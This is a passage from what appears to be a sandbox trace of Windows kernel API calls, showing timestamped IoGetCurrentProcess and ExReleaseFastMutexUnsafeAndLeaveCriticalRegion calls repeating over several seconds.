(FastMutex=0xffffe0000126bf30) [0151.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.812] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.812] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.812] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.839] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.839] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.839] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.854] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.854] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.854] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.884] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.884] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.884] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.901] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.901] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.901] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.931] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.931] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.931] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.962] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.962] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.962] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.981] IoGetCurrentProcess () returned 0xffffe000011ff900 [0151.982] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0151.982] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.014] IoGetCurrentProcess () returned 0xffffe000011ff900 [0152.014] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.014] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.045] IoGetCurrentProcess () returned 0xffffe000011ff900 [0152.045] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.045] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.065] IoGetCurrentProcess () returned 0xffffe000011ff900 [0152.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.094] IoGetCurrentProcess () returned 0xffffe000011ff900 [0152.095] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.095] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.095] IoGetCurrentProcess () returned 0xffffe000011ff900 [0152.095] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.095] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.095] IoGetCurrentProcess () returned 0xffffe000011ff900 [0152.095] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.095] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.096] IoGetCurrentProcess () returned 0xffffe000011ff900 [0152.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.096] IoGetCurrentProcess () returned 0xffffe000011ff900 [0152.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.096] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.097] IoGetCurrentProcess () returned 0xffffe000011ff900 [0152.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.102] IoGetCurrentProcess () returned 0xffffe000011ff900 [0152.102] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.102] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.134] IoGetCurrentProcess () returned 0xffffe000011ff900 [0152.134] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.134] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.166] IoGetCurrentProcess () returned 0xffffe000011ff900 [0152.166] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.166] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.197] IoGetCurrentProcess () returned 0xffffe000011ff900 [0152.197] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.197] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.227] IoGetCurrentProcess () returned 0xffffe000011ff900 [0152.227] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.227] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0152.257] IoGetCurrentProcess () returned 0xffffe000011ff900 [0152.257] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0152.257] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.206] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.208] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.208] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.208] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.255] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.289] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.319] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.336] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.378] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.586] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.586] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.586] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.615] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.615] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.615] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.646] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.646] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.646] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.674] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.674] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.674] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.689] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.689] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.689] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.706] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.737] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.752] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.768] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.768] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.768] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.799] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.799] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.799] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.815] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.846] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.846] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.846] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.862] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.892] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.892] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.892] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.923] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.923] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.923] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.939] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.939] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.939] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.954] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.954] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.954] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.969] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.970] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.970] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.973] IoGetCurrentProcess () returned 0xffffe000011ff900 [0153.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0153.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.028] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.030] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.030] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.030] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.059] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.059] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.059] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.086] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.117] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.143] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.159] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.175] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.192] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.207] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.207] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.237] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.253] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.269] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.286] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.286] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.286] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.302] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.302] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.302] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.302] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.302] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.302] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.302] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.302] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.303] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.303] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.303] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.303] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.303] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.303] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.303] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.304] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.304] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.358] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.358] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.358] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.383] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.399] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.399] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.399] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.414] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.414] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.414] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.431] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.431] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.431] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.447] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.447] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.447] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.462] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.497] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.497] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.497] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.518] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.550] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.594] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.594] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.594] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.610] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.610] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.610] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.632] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.682] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.682] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.682] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.706] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.707] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.707] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.707] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.708] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.708] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.708] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.708] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.708] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.709] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.709] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.716] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.716] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.716] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.742] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.742] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.742] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.773] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.773] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.773] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.804] IoGetCurrentProcess () returned 0xffffe000011ff900 [0154.804] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0154.804] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.931] IoGetCurrentProcess () returned 0xffffe000011ff900 [0155.931] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0155.932] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.935] IoGetCurrentProcess () returned 0xffffe000011ff900 [0155.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0155.935] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0155.965] IoGetCurrentProcess () returned 0xffffe000011ff900 [0155.965] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0155.965] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.014] IoGetCurrentProcess () returned 0xffffe000011ff900 [0156.022] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0156.022] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.038] IoGetCurrentProcess () returned 0xffffe000011ff900 [0156.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0156.039] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.056] IoGetCurrentProcess () returned 0xffffe000011ff900 [0156.056] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0156.056] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.086] IoGetCurrentProcess () returned 0xffffe000011ff900 [0156.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0156.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0156.134] IoGetCurrentProcess () returned 0xffffe000011ff900 [0156.134] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0156.134] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0159.767] IoGetCurrentProcess () returned 0xffffe000011ff900 [0159.767] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0159.767] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0159.768] IoGetCurrentProcess () returned 0xffffe000011ff900 [0159.768] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0159.768] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0159.983] IoGetCurrentProcess () returned 0xffffe000011ff900 [0159.983] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0159.983] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.197] IoGetCurrentProcess () returned 0xffffe000011ff900 [0160.197] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.197] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.230] IoGetCurrentProcess () returned 0xffffe000011ff900 [0160.230] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.230] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.255] IoGetCurrentProcess () returned 0xffffe000011ff900 [0160.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0160.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0160.271] IoGetCurrentProcess () returned 0xffffe000011ff900 [0160.271] 